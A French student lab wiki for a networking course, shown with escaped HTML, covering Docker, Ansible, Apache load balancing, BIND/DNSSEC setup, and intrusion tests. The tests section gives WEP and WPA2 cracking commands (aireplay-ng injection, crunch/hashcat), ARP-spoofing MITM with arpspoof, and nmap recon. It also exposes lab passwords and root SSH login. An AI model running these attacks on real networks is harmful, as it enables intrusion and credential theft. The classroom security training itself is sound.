Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55086</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55086"/>
				<updated>2020-12-20T15:05:50Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Chiffrement de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
